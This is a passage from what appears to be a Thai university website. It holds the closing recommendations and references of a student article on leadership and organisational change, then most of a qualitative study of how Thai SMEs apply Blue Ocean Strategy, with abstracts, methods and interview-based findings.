              3.  แนวทางการขับเคลื่อนวัฒนธรรมการเปลี่ยนแปลง ผลการวิจัยยืนยันบทบาทสำคัญของการสร้างวัฒนธรรมการเปิดกว้างและการเรียนรู้ในองค์กร สอดคล้องกับ Son, T. T., Phong, L. B., & Thu Loan, B. T. (2020) ที่กล่าวว่าวัฒนธรรมองค์กรเกิดจากการกระทำและค่านิยมที่ผู้นำแสดงให้เห็น การสร้างพื้นที่ปลอดภัยทางจิตวิทยาเพื่อสนับสนุนนวัตกรรมและการลองผิดลองถูก ยังสอดคล้องกับ Kouzes, J. M., & Posner, B. Z. (2012) ในประเด็นทีมที่มีความปลอดภัยทางจิตวิทยา (psychological safety) นอกจากนี้ การสื่อสารอย่างต่อเนื่องและเปิดกว้างยังสะท้อนแนวคิดของ Kotter (1990) ที่ระบุว่าการเปลี่ยนแปลงต้องการการสื่อสารซ้ำ ๆ และสร้างความเข้าใจอย่างลึกซึ้ง

ข้อเสนอแนะเพื่อการนำผลการวิจัยไปใช้

              1. องค์กรควรพัฒนาโปรแกรมพัฒนาภาวะผู้นำเฉพาะสำหรับผู้บริหารระดับกลาง

โปรแกรมควรเน้นทักษะการสื่อสาร การสร้างแรงบันดาลใจ การจัดการความขัดแย้ง และการสร้างความร่วมมือ

              2. องค์กรควรสร้างระบบสนับสนุนการเรียนรู้ เพื่อต่อยอดให้เป็นวัฒนธรรมการเรียนรู้ตลอดชีวิต เช่น การให้สิทธิ์เข้าถึงแหล่งความรู้ดิจิทัล การส่งเสริมการแลกเปลี่ยนเรียนรู้ภายใน

              3. ควรสร้างกลไกการสื่อสารที่เปิดกว้างและมีประสิทธิภาพ โดยใช้เทคโนโลยีดิจิทัลเพื่อสร้างช่องทางสื่อสารแบบสองทางให้พนักงานทุกระดับมีส่วนร่วม

              4. สร้างพื้นที่ปลอดภัยสำหรับการทดลองสิ่งใหม่ ควรส่งเสริมให้พนักงานกล้าลองผิดและเรียนรู้จากความล้มเหลวโดยไม่ถูกตำหนิ

เอกสารอ้างอิง  

วรัชยา ศิริวัฒน์. (2561). เอกสารประกอบการบรรยายกระบวนวิชาองค์การและนวัตกรรมในองค์การ. กรุงเทพมหานคร: มหาวิทยาลัยรามคำแหง, โครงการรัฐประศาสนศาสตรมหาบัณฑิต.

Bennis, W., & Nanus, B. (1985). Leaders: The strategies for taking change. Harper & RowPerren and   Dierendonck, V. D. (2011). Servant leadership: A review and syntheses. Journal of Management, 37(4), 1228-1261

Gartner. (2025). Organizational Change Management: Deliver on complex organizational change management initiatives. https://www.gartner.com/en/human-resources/insights/organizational-change-management

Kotter, J. P. (1990). A force for change: How leadership differs from management. Free Press.

Kouzes, J. M., & Posner, B. Z. (2012). LPI: Leadership practices inventory: Development planner (Vol. 270). John Wiley & Sons.

Obiwuru, T. C., et al. (2011). Effects of leadership style on organizational performance: A survey of selected small scale enterprise in Ikosi-Ketucouncil development area of Lagos State, Nigeria. Australian.Journal of Business and Management Research, 1(7), 100-111.

Perren, L., & Grant, P. (2001). Management and leadership in UK SMEs: Witness testimonies from the work of entrepreneurs and SMEs managers. Council for Excellence in Management Leadership.

Son, T. T., Phong, L. B., & Thu Loan, B. T. (2020). Transformational leadership and knowledge sharing: Determinants of firm’s operational and financial performance. SAGE Open. https://doi.org/10.1177/2158244020927426

Tomas C.P. (2025). Why Leaders Should Bring Their Best Self—Not Their Whole Self—to Work. Harvard Business Review Online. Harvard Business Publishing. https://hbr.org/2025/07/why-leaders-should-bring-their-best-self-not-their-whole-self-to-work?ab=HP-hero-latest-3

]]> การประยุกต์ใช้กลยุทธ์น่านน้ำสีครามในการพัฒนารูปแบบธุรกิจขององค์การยุคใหม่ https://modernkrirkuniversity.com/2025/10/06/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%9b%e0%b8%a3%e0%b8%b0%e0%b8%a2%e0%b8%b8%e0%b8%81%e0%b8%95%e0%b9%8c%e0%b9%83%e0%b8%8a%e0%b9%89%e0%b8%81%e0%b8%a5%e0%b8%a2%e0%b8%b8%e0%b8%97%e0%b8%98%e0%b9%8c%e0%b8%99/ Mon, 06 Oct 2025 02:51:27 +0000 https://modernkrirkuniversity.com/?p=30025 กรณีศึกษาวิสาหกิจขนาดกลางและขนาดย่อมในประเทศไทย

 Applying Blue Ocean Strategy for Business Model Development in Modern Organizations: A Case Study of Thai SMEs

การประยุกต์ใช้กลยุทธ์น่านน้ำสีครามในการพัฒนารูปแบบธุรกิจขององค์การยุคใหม่:

กรณีศึกษาวิสาหกิจขนาดกลางและขนาดย่อมในประเทศไทย

Applying Blue Ocean Strategy for Business Model Development in Modern Organizations: A Case Study of Thai SMEs

เจนจิรา จันทา

JENJERA JANTA

อาจารย์ที่ปรึกษา ดร.จิตรกร ลากุล

คณะศิลปศาสตร์ มหาวิทยาลัยเกริก

Graduate students of Master of Arts Faculty of Liberal Arts, Krirk University

บทคัดย่อ  

                    การวิจัยครั้งนี้มีวัตถุประสงค์เพื่อ (1) ศึกษารูปแบบการประยุกต์ใช้กลยุทธ์น่านน้ำสีครามในการพัฒนารูปแบบธุรกิจของวิสาหกิจขนาดกลางและขนาดย่อม (SMEs) ในประเทศไทย และ (2) วิเคราะห์ปัจจัยที่เอื้อต่อหรือเป็นอุปสรรคในการดำเนินกลยุทธ์ดังกล่าว  โดยใช้วิธีวิจัยเชิงคุณภาพโดยเก็บข้อมูลจากการสัมภาษณ์เชิงลึกผู้ประกอบการ SMEs ที่นำกลยุทธ์น่านน้ำสีครามไปใช้

                   ผลการวิจัยพบว่า การประยุกต์ใช้กลยุทธ์น่านน้ำสีครามในวิสาหกิจขนาดย่อมและขนาดกลางของประเทศไทยไทยมีลักษณะที่หลากหลายและยืดหยุ่นวิสาหกิจขนาดย่อมและขนาดกลางในประเทศไทยประยุกต์ใช้กลยุทธ์น่านน้ำสีครามผ่านการสร้างนวัตกรรมคุณค่า   การพัฒนาผลิตภัณฑ์หรือบริการที่แตกต่างและตอบสนองความต้องการที่ยังไม่ถูกตอบสนองในตลาด การสร้างตลาดใหม่และหลีกเลี่ยงการแข่งขันในตลาดเดิม การใช้เครื่องมือวิเคราะห์และวางแผนกลยุทธ์อย่างเป็นระบบได้แก่ การวิเคราะห์ปัจจัย, การออกแบบผืนผ้าใบธุรกิจและกรอบการปฏิบัติ 4 ขั้นตอนคือ ลด เพิ่ม ตัดออก และสร้างใหม่ รวมถึงการสร้างความร่วมมือกับพันธมิตรทางธุรกิจและการปรับเปลี่ยนโมเดลธุรกิจให้มีความยืดหยุ่น ปัจจัยที่เอื้อต่อความสำเร็จของการดำเนินกลยุทธ์น่านน้ำสีคราม ได้แก่ ความเข้าใจลูกค้าอย่างลึกซึ้ง ความสามารถในการปรับตัว การสนับสนุนจากผู้บริหารและบุคลากร การใช้เครื่องมือวางแผนกลยุทธ์ และการสร้างนวัตกรรมคุณค่าที่ตอบโจทย์ลูกค้า ในขณะที่อุปสรรคสำคัญ ได้แก่ ข้อจำกัดด้านทรัพยากร ความรู้ความเข้าใจในกลยุทธ์ที่ยังไม่ลึกซึ้ง ความเสี่ยงจากการทดลองตลาดใหม่ การต่อต้านการเปลี่ยนแปลงภายในองค์การ และการขาดเครือข่ายพันธมิตรทางธุรกิจ ข้อเสนอแนะจากการวิจัยนี้คือ SMEs    ควรเสริมสร้างความรู้และทักษะด้านกลยุทธ์น่านน้ำสีครามให้กับผู้บริหารและบุคลากร ส่งเสริมความร่วมมือกับพันธมิตรทางธุรกิจ วางแผนและประเมินความเสี่ยงอย่างรอบคอบ รวมถึงสร้างวัฒนธรรมองค์การที่เปิดรับการเปลี่ยนแปลงและนวัตกรรม เพื่อให้สามารถนำกลยุทธ์น่านน้ำ สีครามไปใช้ได้อย่างมีประสิทธิภาพและยั่งยืนในบริบทของธุรกิจยุคใหม่

คำสำคัญ : กลยุทธ์น่านน้ำสีคราม, วิสาหกิจขนาดกลางและขนาดย่อม, องค์การยุคใหม่

Abstract

                    This research aims to (1) examine the patterns of Blue Ocean Strategy application in business model development among Thai SMEs and (2) analyze the factors that facilitate or hinder the implementation of Blue Ocean Strategy. A qualitative research methodology was employed, utilizing in-depth interviews with SME entrepreneurs who have implemented Blue Ocean Strategy.

               The findings reveal that Thai SMEs apply Blue Ocean Strategy by creating value innovation, developing differentiated products or services that address unmet market needs, establishing new markets, and avoiding competition in existing markets. Strategic tools such as SWOT Analysis, Strategy Canvas, and the Four Actions Framework (ERRC) are systematically used, along with fostering business partnerships and adapting flexible business models. Key success factors for Blue Ocean Strategy implementation include deep customer insight, adaptability, management and staff support, the use of strategic planning tools, and the creation of value innovations that meet customer needs. Major obstacles comprise resource limitations, insufficient understanding of the strategy, risks associated with entering new markets, internal resistance to change, and a lack of business networks. The study suggests that SMEs should enhance their knowledge and skills regarding Blue Ocean Strategy among executives and staff, promote collaboration with business partners, conduct careful risk planning and assessment, and cultivate an organizational culture that embraces change and innovation. These actions will enable SMEs to effectively and sustainably apply Blue Ocean Strategy within the context of modern business.

Keywords: Blue Ocean Strategy/Small and Medium Enterprises / Moderm Prganization

บทนำ

               ในยุคที่การเปลี่ยนแปลงทางเทคโนโลยีและพฤติกรรมผู้บริโภคเกิดขึ้นอย่างรวดเร็ว วิสาหกิจขนาดกลางและขนาดย่อม (SMEs) ในประเทศไทยต้องเผชิญกับการแข่งขันที่รุนแรงในตลาดที่มีผู้เล่นจำนวนมาก ส่งผลให้หลายองค์การประสบปัญหาด้านยอดขาย การรักษาลูกค้า และการเติบโตอย่างยั่งยืน SMEs ถือเป็นกลไกหลักของระบบเศรษฐกิจไทย โดยมีจำนวนมากกว่า 99% ของธุรกิจทั้งหมดและสร้างการจ้างงานกว่า 80% ของแรงงาน อย่างไรก็ตาม SMEs จำนวนไม่น้อยยังขาดความสามารถในการปรับตัวเชิงกลยุทธ์ โดยเฉพาะต่อการแข่งขันในยุคดิจิทัล กลยุทธ์น่านน้ำสีคราม (Blue Ocean Strategy) ที่เสนอโดย Kim และ Mauborgne (2005) เป็นแนวคิดที่เน้นการสร้างพื้นที่ตลาดใหม่ที่ไร้การแข่งขัน ผ่านการสร้างนวัตกรรมคุณค่า (Value Innovation) ซึ่งเป็นการสร้างมูลค่าให้กับลูกค้าและองค์การไปพร้อมกัน แนวคิดนี้แตกต่างจากการแข่งขันในตลาดเดิม (Red Ocean) ที่มีการแข่งขันด้านราคาอย่างรุนแรง การนำกลยุทธ์นี้มาประยุกต์ใช้ใน SMEs ไทยจึงมีความสำคัญในการสร้างความแตกต่างและความได้เปรียบทางการแข่งขัน

               แม้จะมีงานวิจัยเกี่ยวกับ Blue Ocean Strategy ในบริบทสากล แต่การศึกษาเชิงลึกในบริบทของ SMEs ไทยยังมีจำกัด โดยเฉพาะการทำความเข้าใจปัจจัยที่ทำให้ประสบความสำเร็จหรือเป็นอุปสรรค รวมถึงแนวทางปฏิบัติที่เหมาะสมกับบริบทไทย การวิจัยนี้จึงมีวัตถุประสงค์เพื่อเติมเต็มช่องว่างดังกล่าว โดยศึกษากรณีศึกษาของ SMEs ไทยที่ประยุกต์ใช้กลยุทธ์น่านน้ำสีครามจริง และนำเสนอแนวทางที่สามารถนำไปใช้ได้อย่างเป็นรูปธรรม    

วัตถุประสงค์ของการวิจัย

  1. เพื่อศึกษารูปแบบการประยุกต์ใช้กลยุทธ์น่านน้ำสีครามในการพัฒนารูปแบบธุรกิจของวิสาหกิจขนาดกลางและขนาดย่อมในประเทศไทย

      2. เพื่อวิเคราะห์ปัจจัยที่เอื้อต่อหรือเป็นอุปสรรคในการดำเนินกลยุทธ์น่านน้ำสีคราม

      3. เพื่อเสนอแนวทางการนำกลยุทธ์น่านน้ำสีครามไปใช้ให้เกิดประสิทธิภาพสูงสุดในองค์การยุคใหม่

วิธีดำเนินการวิจัย

            การวิจัยนี้เป็นการวิจัยเชิงคุณภาพ (Qualitative Research) โดยใช้กรณีศึกษา (Case Study) เก็บรวบรวมข้อมูลจากการสัมภาษณ์เชิงลึกผู้ประกอบการและผู้บริหาร SMEs ที่ประยุกต์ใช้กลยุทธ์น่านน้ำสีคราม จำนวน 15 ราย จาก 8 ประเภทธุรกิจ ได้แก่ อาหารและเครื่องดื่ม แฟชั่น เทคโนโลยี บริการสุขภาพ ท่องเที่ยวเพื่อชุมชน และผลิตภัณฑ์รักษ์โลก การคัดเลือกกลุ่มตัวอย่างใช้วิธีการเลือกแบบเจาะจง (Purposive Sampling) โดยพิจารณาจากเกณฑ์ คือ มีการดำเนินธุรกิจมาไม่น้อยกว่า 3 ปี มีการประยุกต์ใช้กลยุทธ์ Blue Ocean และยินยอมเข้าร่วมการสัมภาษณ์

            1. เครื่องมือที่ใช้ในการวิจัย

เครื่องมือที่ใช้ในการวิจัยคือแบบสัมภาษณ์เชิงลึกแบบกึ่งมีโครงสร้าง ประกอบด้วย 4 ส่วน คือ ข้อมูลทั่วไป รูปแบบการประยุกต์ใช้กลยุทธ์ ปัจจัยเอื้อและอุปสรรค และแนวทางสู่ความสำเร็จ การวิเคราะห์ข้อมูลใช้วิธีการวิเคราะห์เนื้อหา (Content Analysis) และการวิเคราะห์แก่นสาระสำคัญ (Thematic Analysis) ตรวจสอบความน่าเชื่อถือด้วยวิธีการตรวจสอบข้อมูลแบบสามเส้า (Triangulation)

   2. การเก็บรวบรวมข้อมูล

                    ในการศึกษาวิจัยครั้งนี้ ผู้ศึกษาใช้วิธีการเก็บรวบรวมข้อมูลจากแหล่งข้อมูลดังนี้

                         1)   ศึกษาจากแหล่งข้อมูลทุติยภูมิ (Secondary Data) โดยศึกษาเอกสารและงานวิจัยที่เกี่ยวข้องที่เกี่ยวข้องกับวัตถุประสงค์ของการวิจัย

                         2)  ศึกษาจากแหล่งข้อมูลปฐมภูมิ (Primary Data) โดยใช้แบบสัมภาษณ์เชิงลึกแบบกึ่งมีโครงสร้าง ซึ่งผู้วิจัยกำหนดหัวข้อและประเด็นต่างๆในการสัมภาษณ์ให้ครอบคลุมวัตถุประสงค์งานวิจัย ร่วมกับการจดบันทึก ถ่ายภาพ บันทึกเสียง และจะหยุดสัมภาษณ์เมื่อได้ข้อมูลครบถ้วนหรืออิ่มตัว   โดยมีขั้นตอนการเก็บรวบรวมข้อมูลดังนี้

                         ขั้นตอนการเก็บรวบรวมข้อมูลประกอบด้วย

                         1.  การศึกษาข้อมูลเบื้องต้น โดยทำการทบทวนเอกสารและงานวิจัยที่เกี่ยวข้องเพื่อเข้าใจบริบทและทฤษฎีที่เกี่ยวข้องกับกลยุทธ์น่านน้ำสีครามและวิสาหกิจขนาดกลางและขนาดย่อม

                         2.  การคัดเลือกกลุ่มตัวอย่าง เพื่อคัดเลือกวิสาหกิจขนาดกลางและขนาดย่อม

ที่ตรงตามเกณฑ์ที่กำหนด และติดต่อเพื่อขอความยินยอมในการเข้าร่วมการวิจัย

                         3. การสัมภาษณ์เชิงลึก ดำเนินการสัมภาษณ์ผู้บริหารหรือผู้ที่เกี่ยวข้องในองค์การ วิสาหกิจขนาดกลางและขนาดย่อมเพื่อเก็บข้อมูลเกี่ยวกับการประยุกต์ใช้กลยุทธ์น่านน้ำสีคราม

                         4. การสังเกตการณ์ สังเกตพฤติกรรมและกระบวนการที่เกี่ยวข้องกับการใช้กลยุทธ์น่านน้ำสีครามในการดำเนินธุรกิจ

                         5.  การบันทึกข้อมูล บันทึกข้อมูลที่เก็บได้จากการสัมภาษณ์และการสังเกตการณ์อย่างละเอียด

   3. การวิเคราะห์ข้อมูล

                    วิธีการวิเคราะห์ข้อมูล ใช้วิธีการวิเคราะห์ข้อมูลแบบพื้นฐาน (Descriptive Analysis) และ การวิเคราะห์แก่นสาระสำคัญ (Thematic Analysis) ขั้นแรกผู้วิจัยทำการจัดข้อมูลออกตามประเภทข้อมูล (Type) จากนั้น ทำการจัดกลุ่มข้อมูลออกเป็นกลุ่ม (Category) และสร้างข้อสรุปเป็นประเด็นที่ละประเด็น จนครบทุกหัวข้อ ต่อจากนั้นแต่ละประเด็นมาสร้างข้อสรุปรวม รวมทั้งตรวจสอบข้อมูลแบบสามเส้า (Triangulation) เพื่อยืนยันความน่าเชื่อถือ (Credibility, Validity) ของข้อมูลหรือสิ่งที่ค้นพบ โดยการใช้ระเบียบวิธีการวิจัยในการศึกษาปรากฏการณ์เดียวกันเช่น ระเบียบวิธีวิจัย (Research method triangulation), ทฤษฎี(Theoretical triangulation), และข้อมูล (Data triangulation)

ผลการวิจัย

            1. รูปแบบการประยุกต์ใช้กลยุทธ์น่านน้ำสีครามในการพัฒนารูปแบบธุรกิจของวิสาหกิจขนาดกลางและขนาดย่อมในประเทศไทย การวิจัยนี้ศึกษารูปแบบการประยุกต์ใช้กลยุทธ์น่านน้ำสีคราม (Blue Ocean Strategy) ในวิสาหกิจขนาดกลางและขนาดย่อม (SMEs) ของไทย โดยใช้วิธีการสัมภาษณ์เชิงลึกกับผู้ประกอบการในหลากหลายอุตสาหกรรม ผลการวิจัยพบว่า วิสาหกิจขนาดกลางและขนาดย่อมสามารถประยุกต์ใช้กลยุทธ์น่านน้ำสีครามได้ 8 รูปแบบหลัก ซึ่งสามารถจำแนกเป็น 3 มิติสำคัญ ได้แก่ มิติการสร้างคุณค่าและนวัตกรรม มิติการวางแผนเชิงกลยุทธ์ และมิติการบริหารจัดการองค์การ

            มิติที่ 1  การสร้างคุณค่าและนวัตกรรม (Value Innovation)

                   1) การสร้างนวัตกรรมคุณค่าเป็นหัวใจสำคัญของกลยุทธ์น่านน้ำสีคราม โดยวิสาหกิจขนาดกลางและขนาดย่อมมุ่งเน้นการพัฒนาผลิตภัณฑ์หรือบริการที่สร้างคุณค่าใหม่ให้แก่ลูกค้าควบคู่ไปกับการลดต้นทุนขององค์การ วิสาหกิจใช้ข้อมูลเชิงลึกจากลูกค้า (Customer Insight) และการคาดการณ์แนวโน้มอนาคต (Foresight) เป็นฐานในการพัฒนาแนวคิดธุรกิจ ตัวอย่างเช่น คาเฟ่สุขภาพที่ออกแบบเมนูโดยใช้ข้อมูลสุขภาพรายบุคคล และซอฟต์แวร์การศึกษาที่ใช้ปัญญาประดิษฐ์ปรับเนื้อหาการเรียนรู้ตามบุคลิกภาพของผู้เรียน ผู้บริหารธุรกิจคาเฟ่กล่าวว่า “เรามองว่าการทำกาแฟต้องมากกว่ารสชาติ เลยเพิ่มบริการกาแฟกับกิจกรรมสร้างแรงบันดาลใจในร้าน จนกลายเป็นจุดขายของร้านเรา”  นวัตกรรมคุณค่าช่วยให้วิสาหกิจสร้างความแตกต่างที่ยั่งยืน ลดการพึ่งพาการแข่งขันด้านราคา และสร้างฐานลูกค้าที่ภักดีต่อแบรนด์ ซึ่งเป็นปัจจัยสำคัญต่อการเติบโตอย่างมั่นคงของธุรกิจ

                   2) การสร้างตลาดใหม่และการหลีกเลี่ยงการแข่งขันในตลาดเดิม การสร้างตลาดใหม่เป็นแนวทางหลักในการหลีกเลี่ยงการแข่งขันที่รุนแรงในตลาดเดิม (Red Ocean) วิสาหกิจมุ่งสร้างตลาดที่ยังไม่มีคู่แข่งหรือมีการแข่งขันน้อยมาก โดยการค้นหาความต้องการที่ซ่อนเร้นของลูกค้า พัฒนาผลิตภัณฑ์ที่ตอบโจทย์ไลฟ์สไตล์ที่เปลี่ยนแปลง หรือรวมบริการหลายอย่างเข้าด้วยกันเพื่อสร้างประสบการณ์ใหม่ ตัวอย่างเช่น ธุรกิจเครื่องเขียนที่เปลี่ยนจากการแข่งขันด้านราคากับผู้ประกอบการรายใหญ่ มาเป็นการสร้างแบรนด์ของขวัญสำหรับองค์กรเฉพาะกลุ่ม หรือธุรกิจอาหารที่พัฒนาบริการ Meal Prep Delivery สำหรับกลุ่มผู้ออกกำลังกายโดยเฉพาะ การเปลี่ยนกลุ่มเป้าหมายจากตลาดผู้บริโภคทั่วไป (B2C) ไปสู่ตลาดธุรกิจ (B2B) เป็นอีกหนึ่งรูปแบบที่สำคัญ เช่น ธุรกิจท่องเที่ยวที่เปลี่ยนจากการให้บริการนักท่องเที่ยวทั่วไป มาเป็นการจัดแพ็กเกจท่องเที่ยววัฒนธรรมเฉพาะสำหรับองค์กรต่างประเทศ ส่งผลให้รายได้ต่อหน่วยสูงขึ้นและมีคู่แข่งน้อยลง

               มิติที่ 2  การวางแผนเชิงกลยุทธ์

                   1) การใช้เครื่องมือวิเคราะห์และวางแผนกลยุทธ์อย่างเป็นระบบวิสาหกิจที่ประสบความสำเร็จใช้เครื่องมือวิเคราะห์เชิงกลยุทธ์อย่างเป็นระบบ ได้แก่ การวิเคราะห์ SWOT เพื่อประเมินศักยภาพและโอกาสขององค์การ การใช้ Strategy Canvas เพื่อเปรียบเทียบสถานะของธุรกิจกับคู่แข่ง และการใช้ Four Actions Framework (ERRC) ซึ่งประกอบด้วย Eliminate (ตัดทิ้ง) Reduce (ลด) Raise (เพิ่ม) และ Create (สร้างใหม่) เครื่องมือเหล่านี้ช่วยให้วิสาหกิจสามารถกำหนดจุดที่จะลดต้นทุนและเพิ่มคุณค่าให้กับลูกค้าได้อย่างชัดเจน

                   2) การประยุกต์ใช้กรอบ ERRC ในทางปฏิบัติ การใช้กรอบ ERRC เป็นเครื่องมือสำคัญในการออกแบบกลยุทธ์ใหม่ โดยวิสาหกิจจะตัดทิ้งองค์ประกอบที่ไม่จำเป็น เช่น การไม่ใช้หน้าร้านและเปลี่ยนมาขายผ่านช่องทางออนไลน์ ลดต้นทุนในส่วนที่ไม่สร้างคุณค่า เช่น การลดค่าโฆษณาโดยใช้ influencer แทน เพิ่มองค์ประกอบที่สร้างความแตกต่าง เช่น การยกระดับบริการหลังการขาย และสร้างบริการใหม่ เช่น ระบบ subscription สำหรับลูกค้าประจำ ผู้บริหารธุรกิจแฟชั่นกล่าวว่า “เราเลิกเช่าหน้าร้านทั้งหมด แล้วเปลี่ยนเป็นขายผ่านอินฟลูเอนเซอร์กับแพลตฟอร์มออนไลน์ ต้นทุนลดลงมากและทำให้ทีมมีเวลาไปพัฒนาสินค้าใหม่เพิ่ม”

               มิติที่ 3  การบริหารจัดการองค์การ

                   1) การมุ่งเน้นลูกค้าและการสร้างประสบการณ์ วิสาหกิจให้ความสำคัญกับการเข้าใจลูกค้าอย่างลึกซึ้งผ่านการสังเกตพฤติกรรม การตั้งคำถามเชิงลึก และการรับฟังความคิดเห็นอย่างต่อเนื่อง การสร้างประสบการณ์ที่ดีครอบคลุมทั้งการให้บริการที่รวดเร็ว มีความเป็นมิตร และการออกแบบผลิตภัณฑ์ที่ใช้งานง่าย นอกจากนี้ยังมีการนำเทคโนโลยี เช่น แพลตฟอร์มออนไลน์และระบบอัตโนมัติ มาใช้สร้างความแตกต่าง เช่น การเปิดคลาสสอนทำอาหารผ่าน Live สดพร้อมจัดส่งวัตถุดิบถึงบ้าน หรือบริการ Drive Thru ในช่วงวิกฤตโควิด-19

                   2) การสร้างความร่วมมือและเครือข่ายพันธมิตร ทางธุรกิจเป็นปัจจัยสำคัญที่ช่วยให้วิสาหกิจเข้าถึงทรัพยากรและความสามารถที่ไม่มี ความร่วมมือครอบคลุมตั้งแต่ผู้จัดหาวัตถุดิบ ผู้ให้บริการโลจิสติกส์ ผู้เชี่ยวชาญด้านเทคโนโลยี ไปจนถึงชุมชนท้องถิ่น ความร่วมมือเหล่านี้ช่วยลดต้นทุน เพิ่มประสิทธิภาพ เร่งการพัฒนานวัตกรรม และเปิดโอกาสในการเข้าถึงตลาดใหม่ ตัวอย่างเช่น การร่วมมือกับสตาร์ทอัพด้านเทคโนโลยีในการพัฒนาแอปพลิเคชัน ซึ่งลดเวลาการพัฒนาจากหนึ่งปีเหลือเพียงสองเดือน หรือการร่วมมือกับฟาร์มท้องถิ่นเพื่อควบคุมคุณภาพวัตถุดิบและลดต้นทุนพร้อมกันกับการสร้างรายได้ให้ชุมชน

                   3) การปรับเปลี่ยนโมเดลธุรกิจและโครงสร้างองค์การ การประยุกต์ใช้กลยุทธ์น่านน้ำสีครามต้องอาศัยการปรับเปลี่ยนโมเดลธุรกิจและโครงสร้างองค์การเพื่อรองรับการสร้างตลาดใหม่ วิสาหกิจจำเป็นต้องมีความยืดหยุ่นในการปรับเปลี่ยนรูปแบบการผลิต การบริหารจัดการต้นทุน และการจัดสรรทรัพยากร ตัวอย่างเช่น การเปลี่ยนจากการขายสินค้าเป็นการให้บริการเช่าพร้อมทีมงานดูแล การปรับลดหน่วยงานที่ไม่จำเป็นและเพิ่มฝ่ายออกแบบนวัตกรรมและการตลาดออนไลน์ หรือการเปลี่ยนจากการให้บริการในร้านมาเป็นการเน้นเดลิเวอรีและบริการ subscription รายเดือน การบริหารจัดการที่มีความยืดหยุ่นและเปิดรับการเปลี่ยนแปลงเป็นปัจจัยสำคัญ เช่น การจัดประชุมทีมข้ามสายงานเป็นประจำเพื่อแลกเปลี่ยนไอเดียและแก้ปัญหาแบบเรียลไทม์ ทำให้องค์การมีความคล่องตัวและพร้อมรับตลาดใหม่ตลอดเวลา

            2.  ปัจจัยที่ส่งผลต่อความสำเร็จในการดำเนินกลยุทธ์น่านน้ำสีครามและผลกระทบต่อรูปแบบธุรกิจของวิสาหกิจขนาดกลางและขนาดย่อมไทย

            การประยุกต์ใช้กลยุทธ์น่านน้ำสีครามในวิสาหกิจขนาดกลางและขนาดย่อม (SMEs) ของไทยมีปัจจัยหลากหลายที่ส่งผลต่อความสำเร็จและสร้างผลกระทบต่อรูปแบบธุรกิจ การวิจัยนี้ศึกษาปัจจัยเอื้ออำนวยและอุปสรรคในการดำเนินกลยุทธ์ รวมทั้งผลกระทบที่เกิดขึ้นต่อการพัฒนาธุรกิจ โดยใช้วิธีการสัมภาษณ์เชิงลึกกับผู้ประกอบการในหลากหลายอุตสาหกรรม ผลการวิจัยนำเสนอความเข้าใจที่ครอบคลุมเกี่ยวกับสภาพแวดล้อมและบริบทที่วิสาหกิจขนาดกลางและขนาดย่อมต้องเผชิญในการสร้างตลาดใหม่และนวัตกรรมคุณค่า ดังนี้

            ปัจจัยเอื้ออำนวยต่อการดำเนินกลยุทธ์น่านน้ำสีคราม ผลการวิจัยพบว่า

                 1. ความเข้าใจและการวิเคราะห์กลุ่มลูกค้าเป้าหมายอย่างลึกซึ้ง การเข้าใจพฤติกรรม ความต้องการ และแรงจูงใจของลูกค้าเป้าหมายเป็นปัจจัยพื้นฐานที่ช่วยให้วิสาหกิจสามารถสร้างตลาดใหม่ได้อย่างตรงจุด การศึกษาพฤติกรรมลูกค้าอย่างละเอียด โดยเฉพาะความต้องการที่ยังไม่ถูกตอบสนองหรือความคาดหวังที่เปลี่ยนแปลงไปตามสภาพสังคมและเศรษฐกิจ ทำให้วิสาหกิจสามารถกำหนดกลยุทธ์นวัตกรรมคุณค่าได้อย่างมีประสิทธิภาพ ผู้บริหารธุรกิจบริการสุขภาพกล่าวว่า “เราศึกษาลูกค้าจริงๆ ไม่ใช่แค่ดูยอดขาย แต่ไปพูดคุยกับลูกค้า ถามว่าเขาอยากได้อะไร และทำไมถึงไม่เลือกเรา คำตอบเหล่านี้นำมาพัฒนาสินค้าได้จริง” การใช้ข้อมูลเชิงลึก (Customer Insight) ช่วยให้วิสาหกิจออกแบบผลิตภัณฑ์และบริการที่ตอบโจทย์ความต้องการที่แท้จริงได้ดีกว่าคู่แข่ง และสร้างตลาดใหม่ที่ยังไม่มีคู่แข่งเข้ามาแย่งชิง

                 2. การสร้างความร่วมมือกับพันธมิตรทางธุรกิจ การมีพันธมิตรทางธุรกิจที่เข้มแข็ง โดยเฉพาะผู้ค้าส่งวัตถุดิบที่มีความหลากหลายและพร้อมนำเสนอข้อมูลใหม่ ช่วยให้วิสาหกิจพัฒนาผลิตภัณฑ์และบริการที่มีนวัตกรรมได้อย่างต่อเนื่อง ความร่วมมือเหล่านี้ยังช่วยลดต้นทุนการผลิต เพิ่มประสิทธิภาพ และเปิดโอกาสให้ธุรกิจทดลองตลาดใหม่ได้อย่างมีความเสี่ยงต่ำลง ผู้จัดการฝ่ายผลิต SME อาหารแปรรูปกล่าวว่า “การมีพันธมิตรใหม่ๆ ที่พร้อมให้ข้อมูลและนวัตกรรมวัตถุดิบ ช่วยให้เราปรับปรุงผลิตภัณฑ์ได้อย่างต่อเนื่อง ลดต้นทุน และทดลองตลาดใหม่ได้ด้วยความเสี่ยงที่น้อยลง”

                 3. การสนับสนุนจากผู้บริหารและบุคลากรภายในองค์การ การที่ผู้บริหารมีวิสัยทัศน์และสนับสนุนการนำกลยุทธ์น่านน้ำสีครามไปใช้ รวมถึงการมีบุคลากรที่มีความรู้ความสามารถและเปิดรับนวัตกรรม เป็นปัจจัยสำคัญต่อความสำเร็จ การเสริมศักยภาพบุคลากรผ่านการอบรมและพัฒนาทักษะใหม่ทำให้ทีมงานสามารถคิดสร้างสรรค์และปรับตัวเข้ากับการเปลี่ยนแปลงของตลาดได้รวดเร็ว ความกล้าเสี่ยงและภาวะผู้นำเป็นสิ่งจำเป็น ดังที่เจ้าของโรงงานเครื่องเขียนแปรรูปกล่าวว่า “ตอนเริ่มทำ Blue Ocean ไม่มีใครเข้าใจ พนักงานก็กลัวเปลี่ยนแปลง แต่เราต้องนำก่อน กล้าตัดสินใจ แม้ยังไม่รู้ว่าผลจะออกมาแบบไหน”

